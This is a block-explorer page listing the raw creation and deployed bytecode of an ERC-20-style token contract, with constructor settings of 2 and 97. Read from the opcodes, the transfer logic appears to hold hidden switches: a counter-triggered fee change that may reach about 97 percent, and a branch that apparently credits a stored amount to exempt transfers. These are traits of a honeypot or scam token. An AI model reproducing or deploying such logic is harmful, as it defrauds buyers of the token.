5780601f10610679576101008083540402835291602001916106a2565b820191905f5260205f20905b81548152906001019060200180831161068557829003601f168201915b5050505050905090565b5f6106bf6106b8610e16565b8484610e1d565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b600e60149054906101000a900460ff1681565b5f61073b848484610fab565b6107f884610747610e16565b6107f385604051806060016040528060288152602001611cf26028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107aa610e16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ce9092919063ffffffff16565b610e1d565b600190509392505050565b5f600a5f9054906101000a900460ff16905090565b5f6108bc610824610e16565b846108b78560065f610834610e16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b610e1d565b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600e60169054906101000a900460ff1681565b61095f610e16565b73ffffffffffffffffffffffffffffffffffffffff1661097d610a8d565b73ffffffffffffffffffffffffffffffffffffffff16146109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90611ade565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610ac390611a64565b80601f0160208091040260200160405190810160405280929190818152602001828054610aef90611a64565b8015610b3a5780601f10610b1157610100808354040283529160200191610b3a565b820191905f5260205f20905b815481529060010190602001808311610b1d57829003601f168201915b5050505050905090565b5f610c02610b50610e16565b84610bfd85604051806060016040528060258152602001611d1a6025913960065f610b79610e16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ce9092919063ffffffff16565b610e1d565b6001905092915050565b5f610c1f610c18610e16565b8484610fab565b6001905092915050565b600b5481565b60098054610c3c90611a64565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6890611a64565b8015610cb35780601f10610c8a57610100808354040283529160200191610cb3565b820191905f5260205f20905b815481529060010190602001808311610c9657829003601f168201915b505050505081565b600a60019054906101000a900460ff1681565b60088054610cdb90611a64565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0790611a64565b8015610d525780601f10610d2957610100808354040283529160200191610d52565b820191905f5260205f20905b815481529060010190602001808311610d3557829003601f168201915b505050505081565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6002602052805f5260405f205f915054906101000a900460ff1681565b6004602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e8557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebb90611b46565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f9e91906118b4565b60405180910390a3505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1690505f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156110dd5760035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f81819054906101000a900460ff16809291906110a890611b91565b91906101000a81548160ff021916908360ff160217905550506001600e60166101000a81548160ff0219169083151502179055505b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611179575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611186575f90506111e8565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036111e2575f90506111e7565b600190505b5b6112388360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461163790919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561142f575f60025f600e60169054906101000a900460ff161515151581526020019081526020015f205f9054906101000a900460ff16600a60019054906101000a900460ff166112cb9190611bb9565b90505f60648260ff16866112df9190611bed565b6112e99190611c5b565b90505f811115611385576113438160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6113e761139b828761163790919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050611562565b5f8211156114cf57611489600c5460015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611561565b61151f8360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115bf91906118b4565b60405180910390a35050505050565b5f838311158290611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160c91906116d6565b60405180910390fd5b5082840390509392505050565b5f818361162f9190611c8b565b905092915050565b5f81836116449190611cbe565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611683578082015181840152602081019050611668565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116a88261164c565b6116b28185611656565b93506116c2818560208601611666565b6116cb8161168e565b840191505092915050565b5f6020820190508181035f8301526116ee818461169e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611723826116fa565b9050919050565b61173381611719565b811461173d575f80fd5b50565b5f8135905061174e8161172a565b92915050565b5f819050919050565b61176681611754565b8114611770575f80fd5b50565b5f813590506117818161175d565b92915050565b5f806040838503121561179d5761179c6116f6565b5b5f6117aa85828601611740565b92505060206117bb85828601611773565b9150509250929050565b5f8115159050919050565b6117d9816117c5565b82525050565b5f6020820190506117f25f8301846117d0565b92915050565b5f611802826116fa565b9050919050565b611812816117f8565b82525050565b5f60208201905061182b5f830184611809565b92915050565b5f819050919050565b5f61185461184f61184a846116fa565b611831565b6116fa565b9050919050565b5f6118658261183a565b9050919050565b5f6118768261185b565b9050919050565b6118868161186c565b82525050565b5f60208201905061189f5f83018461187d565b92915050565b6118ae81611754565b82525050565b5f6020820190506118c75f8301846118a5565b92915050565b5f805f606084860312156118e4576118e36116f6565b5b5f6118f186828701611740565b935050602061190286828701611740565b925050604061191386828701611773565b9150509250925092565b5f60ff82169050919050565b6119328161191d565b82525050565b5f60208201905061194b5f830184611929565b92915050565b61195a81611719565b82525050565b5f6020820190506119735f830184611951565b92915050565b5f6020828403121561198e5761198d6116f6565b5b5f61199b84828501611740565b91505092915050565b5f80604083850312156119ba576119b96116f6565b5b5f6119c785828601611740565b92505060206119d885828601611740565b9150509250929050565b6119eb816117c5565b81146119f5575f80fd5b50565b5f81359050611a06816119e2565b92915050565b5f60208284031215611a2157611a206116f6565b5b5f611a2e848285016119f8565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611a7b57607f821691505b602082108103611a8e57611a8d611a37565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ac8602083611656565b9150611ad382611a94565b602082019050919050565b5f6020820190508181035f830152611af581611abc565b9050919050565b7f4164726573733a203000000000000000000000000000000000000000000000005f82015250565b5f611b30600983611656565b9150611b3b82611afc565b602082019050919050565b5f6020820190508181035f830152611b5d81611b24565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b9b8261191d565b915060ff8203611bae57611bad611b64565b5b600182019050919050565b5f611bc38261191d565b9150611bce8361191d565b9250828201905060ff811115611be757611be6611b64565b5b92915050565b5f611bf782611754565b9150611c0283611754565b9250828202611c1081611754565b91508282048414831517611c2757611c26611b64565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c6582611754565b9150611c7083611754565b925082611c8057611c7f611c2e565b5b828204905092915050565b5f611c9582611754565b9150611ca083611754565b9250828201905080821115611cb857611cb7611b64565b5b92915050565b5f611cc882611754565b9150611cd383611754565b9250828203905081811115611ceb57611cea611b64565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122028dd5bda8c04163157c3fb9e655be8abb6600b7354b411d6be1087d77535752f64736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000061

Deployed Bytecode

0x608060405260043610610169575f3560e01c80637141e6a0116100d0578063af465a2711610089578063d28d885211610063578063d28d88521461053e578063dd62ed3e14610568578063e3a38286146105a4578063f1d6512e146105e057610170565b8063af465a27146104c0578063b09f1266146104ea578063c5b37c221461051457610170565b80637141e6a0146103b4578063715018a6146103de5780638da5cb5b146103f457806395d89b411461041e578063a457c2d714610448578063a9059cbb1461048457610170565b806323b872dd1161012257806323b872dd14610282578063313ce567146102be57806339509351146102e857806349bd5a5e146103245780634a74bb021461034e57806370a082311461037857610170565b806306fdde0314610174578063095ea7b31461019e57806315120e5b146101da5780631694505e1461020457806318160ddd1461022e578063220f66961461025857610170565b3661017057005b5f80fd5b34801561017f575f80fd5b5061018861061c565b60405161019591906116d6565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf9190611787565b6106ac565b6040516101d191906117df565b60405180910390f35b3480156101e5575f80fd5b506101ee6106c9565b6040516101fb9190611818565b60405180910390f35b34801561020f575f80fd5b506102186106ee565b604051610225919061188c565b60405180910390f35b348015610239575f80fd5b50610242610713565b60405161024f91906118b4565b60405180910390f35b348015610263575f80fd5b5061026c61071c565b60405161027991906117df565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a391906118cd565b61072f565b6040516102b591906117df565b60405180910390f35b3480156102c9575f80fd5b506102d2610803565b6040516102df9190611938565b60405180910390f35b3480156102f3575f80fd5b5061030e60048036038101906103099190611787565b610818565b60405161031b91906117df565b60405180910390f35b34801561032f575f80fd5b506103386108c6565b6040516103459190611960565b60405180910390f35b348015610359575f80fd5b506103626108eb565b60405161036f91906117df565b60405180910390f35b348015610383575f80fd5b5061039e60048036038101906103999190611979565b6108fe565b6040516103ab91906118b4565b60405180910390f35b3480156103bf575f80fd5b506103c8610944565b6040516103d591906117df565b60405180910390f35b3480156103e9575f80fd5b506103f2610957565b005b3480156103ff575f80fd5b50610408610a8d565b6040516104159190611960565b60405180910390f35b348015610429575f80fd5b50610432610ab4565b60405161043f91906116d6565b60405180910390f35b348015610453575f80fd5b5061046e60048036038101906104699190611787565b610b44565b60405161047b91906117df565b60405180910390f35b34801561048f575f80fd5b506104aa60048036038101906104a59190611787565b610c0c565b6040516104b791906117df565b60405180910390f35b3480156104cb575f80fd5b506104d4610c29565b6040516104e191906118b4565b60405180910390f35b3480156104f5575f80fd5b506104fe610c2f565b60405161050b91906116d6565b60405180910390f35b34801561051f575f80fd5b50610528610cbb565b6040516105359190611938565b60405180910390f35b348015610549575f80fd5b50610552610cce565b60405161055f91906116d6565b60405180910390f35b348015610573575f80fd5b5061058e600480360381019061058991906119a4565b610d5a565b60405161059b91906118b4565b60405180910390f35b3480156105af575f80fd5b506105ca60048036038101906105c59190611a0c565b610ddc565b6040516105d79190611938565b60405180910390f35b3480156105eb575f80fd5b5061060660048036038101906106019190611979565b610df9565b60405161061391906117df565b60405180910390f35b60606008805461062b90611a64565b80601f016020809104026020016040519081016040528092919081815260200182805461065790611a64565b80156106a25780601f10610679576101008083540402835291602001916106a2565b820191905f5260205f20905b81548152906001019060200180831161068557829003601f168201915b5050505050905090565b5f6106bf6106b8610e16565b8484610e1d565b6001905092915050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b600e60149054906101000a900460ff1681565b5f61073b848484610fab565b6107f884610747610e16565b6107f385604051806060016040528060288152602001611cf26028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107aa610e16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ce9092919063ffffffff16565b610e1d565b600190509392505050565b5f600a5f9054906101000a900460ff16905090565b5f6108bc610824610e16565b846108b78560065f610834610e16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b610e1d565b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600e60169054906101000a900460ff1681565b61095f610e16565b73ffffffffffffffffffffffffffffffffffffffff1661097d610a8d565b73ffffffffffffffffffffffffffffffffffffffff16146109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90611ade565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610ac390611a64565b80601f0160208091040260200160405190810160405280929190818152602001828054610aef90611a64565b8015610b3a5780601f10610b1157610100808354040283529160200191610b3a565b820191905f5260205f20905b815481529060010190602001808311610b1d57829003601f168201915b5050505050905090565b5f610c02610b50610e16565b84610bfd85604051806060016040528060258152602001611d1a6025913960065f610b79610e16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ce9092919063ffffffff16565b610e1d565b6001905092915050565b5f610c1f610c18610e16565b8484610fab565b6001905092915050565b600b5481565b60098054610c3c90611a64565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6890611a64565b8015610cb35780601f10610c8a57610100808354040283529160200191610cb3565b820191905f5260205f20905b815481529060010190602001808311610c9657829003601f168201915b505050505081565b600a60019054906101000a900460ff1681565b60088054610cdb90611a64565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0790611a64565b8015610d525780601f10610d2957610100808354040283529160200191610d52565b820191905f5260205f20905b815481529060010190602001808311610d3557829003601f168201915b505050505081565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6002602052805f5260405f205f915054906101000a900460ff1681565b6004602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e8557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebb90611b46565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f9e91906118b4565b60405180910390a3505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1690505f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156110dd5760035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f81819054906101000a900460ff16809291906110a890611b91565b91906101000a81548160ff021916908360ff160217905550506001600e60166101000a81548160ff0219169083151502179055505b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611179575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611186575f90506111e8565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036111e2575f90506111e7565b600190505b5b6112388360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461163790919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561142f575f60025f600e60169054906101000a900460ff161515151581526020019081526020015f205f9054906101000a900460ff16600a60019054906101000a900460ff166112cb9190611bb9565b90505f60648260ff16866112df9190611bed565b6112e99190611c5b565b90505f811115611385576113438160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6113e761139b828761163790919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050611562565b5f8211156114cf57611489600c5460015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611561565b61151f8360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461162290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115bf91906118b4565b60405180910390a35050505050565b5f838311158290611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160c91906116d6565b60405180910390fd5b5082840390509392505050565b5f818361162f9190611c8b565b905092915050565b5f81836116449190611cbe565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611683578082015181840152602081019050611668565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116a88261164c565b6116b28185611656565b93506116c2818560208601611666565b6116cb8161168e565b840191505092915050565b5f6020820190508181035f8301526116ee818461169e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611723826116fa565b9050919050565b61173381611719565b811461173d575f80fd5b50565b5f8135905061174e8161172a565b92915050565b5f819050919050565b61176681611754565b8114611770575f80fd5b50565b5f813590506117818161175d565b92915050565b5f806040838503121561179d5761179c6116f6565b5b5f6117aa85828601611740565b92505060206117bb85828601611773565b9150509250929050565b5f8115159050919050565b6117d9816117c5565b82525050565b5f6020820190506117f25f8301846117d0565b92915050565b5f611802826116fa565b9050919050565b611812816117f8565b82525050565b5f60208201905061182b5f830184611809565b92915050565b5f819050919050565b5f61185461184f61184a846116fa565b611831565b6116fa565b9050919050565b5f6118658261183a565b9050919050565b5f6118768261185b565b9050919050565b6118868161186c565b82525050565b5f60208201905061189f5f83018461187d565b92915050565b6118ae81611754565b82525050565b5f6020820190506118c75f8301846118a5565b92915050565b5f805f606084860312156118e4576118e36116f6565b5b5f6118f186828701611740565b935050602061190286828701611740565b925050604061191386828701611773565b9150509250925092565b5f60ff82169050919050565b6119328161191d565b82525050565b5f60208201905061194b5f830184611929565b92915050565b61195a81611719565b82525050565b5f6020820190506119735f830184611951565b92915050565b5f6020828403121561198e5761198d6116f6565b5b5f61199b84828501611740565b91505092915050565b5f80604083850312156119ba576119b96116f6565b5b5f6119c785828601611740565b92505060206119d885828601611740565b9150509250929050565b6119eb816117c5565b81146119f5575f80fd5b50565b5f81359050611a06816119e2565b92915050565b5f60208284031215611a2157611a206116f6565b5b5f611a2e848285016119f8565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611a7b57607f821691505b602082108103611a8e57611a8d611a37565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611ac8602083611656565b9150611ad382611a94565b602082019050919050565b5f6020820190508181035f830152611af581611abc565b9050919050565b7f4164726573733a203000000000000000000000000000000000000000000000005f82015250565b5f611b30600983611656565b9150611b3b82611afc565b602082019050919050565b5f6020820190508181035f830152611b5d81611b24565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b9b8261191d565b915060ff8203611bae57611bad611b64565b5b600182019050919050565b5f611bc38261191d565b9150611bce8361191d565b9250828201905060ff811115611be757611be6611b64565b5b92915050565b5f611bf782611754565b9150611c0283611754565b9250828202611c1081611754565b91508282048414831517611c2757611c26611b64565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c6582611754565b9150611c7083611754565b925082611c8057611c7f611c2e565b5b828204905092915050565b5f611c9582611754565b9150611ca083611754565b9250828201905080821115611cb857611cb7611b64565b5b92915050565b5f611cc882611754565b9150611cd383611754565b9250828203905081811115611ceb57611cea611b64565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122028dd5bda8c04163157c3fb9e655be8abb6600b7354b411d6be1087d77535752f64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000061

-----Decoded View---------------
Arg [0] : setting1 (uint8): 2
Arg [1] : setting2 (uint8): 97

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000061


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.